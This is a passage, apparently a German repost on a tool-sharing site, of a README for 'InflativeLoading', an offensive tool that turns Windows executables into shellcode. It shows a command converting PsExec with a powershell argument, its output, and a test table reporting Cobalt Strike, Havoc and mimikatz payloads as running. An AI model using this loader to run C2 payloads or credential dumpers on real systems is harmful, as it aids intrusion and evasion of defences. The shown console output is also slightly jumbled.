Zum Beispiel kann PsExec.exe in PIC-Shellcode konvertiert werden, jedoch kann die vom Benutzer bereitgestellte Befehlszeile nicht ordnungsgemäß identifiziert werden.```cmd C:\Users<...SNIP>>python InflativeLoading.py -b psexec.bin -c "-s -i powershell" -e true -o psexec_merged.bin

<...SNIP...>

Generated shellcode successfully saved in file psexec_merged.bin

[#] Shellcode located at address 0x27159360000

[!] PRESS TO EXECUTE SHELLCODED EXE...

Python Console v3.12.2 - Python Copyright 2001-2023 Python Software Foundation. Copyright 2000 BeOpen.com. Copyright 1995-2001 CNRI. Copyright 1991-1995 SMC. Python Software Foundation

Couldn't install PSEXESVC service: The specified resource type cannot be found in the image file.

root@kitploit:~
## Testfälle
| Programm | FORMAT | Hat GUI? | Übergebene Argumente? | Erfolgreiche Ausführung | Korrekte Ausführung mit Argumenten |
| ----------- | ----------- | ----------- |----------- | ----------- |----------- | 
| Einfache benutzerdefinierte C/C++-Programme     | EXE |Nein | Nein  |:heavy_check_mark: | N/A |
| Einfache benutzerdefinierte DLL    | DLL |Nein | Nein  |:heavy_check_mark: | N/A |
| Havoc und CobaltStrike EXE Payload     | EXE |Nein | Nein  |:heavy_check_mark: | N/A |
| Havoc und CobaltStrike DLL Payload     | DLL |Nein | Nein  |:heavy_check_mark: | N/A |
| calc.exe     | EXE | Ja | Nein |:heavy_check_mark: |N/A |
| mimikatz.exe  | EXE | Nein | Ja   |:heavy_check_mark: |:heavy_check_mark: |
| PsExec  | EXE | Nein     |Ja |:heavy_check_mark: |:no_entry_sign:|
| mspaint.exe  | EXE | Ja     |Nein | :no_entry_sign: |N/A|
| Gepackte Programme  | EXE | Nein     |Nein | Teilweise|N/A|

Gedumpte Versionen von calc.exe und mimikatz.exe befinden sich im `bin/`-Verzeichnis des Repositorys.


## Zukünftige Verbesserungen
:bell: Die folgenden Funktionen und Verbesserungen sind für die Zukunft geplant.

+ Ein separater Loader für .NET-Programme.

+ Unterstützung für DLL-Exportfunktionen hinzufügen.

+ Unterstützung für weitere gepackte Programme hinzufügen.

+ Den schrecklichen Code verbessern : )

## Danksagungen und Referenzen
Die folgenden Ressourcen haben mich während meiner Forschung und Entwicklung stark inspiriert:

<https://github.com/TheWover/donut>

<https://github.com/d35ha/PE2Shellcode>

<https://github.com/hasherezade/pe_to_shellcode>

<https://github.com/monoxgas/sRDI>

<https://github.com/stephenfewer/ReflectiveDLLInjection>

<https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/>

<https://maldevacademy.com/>
Tool herunterladen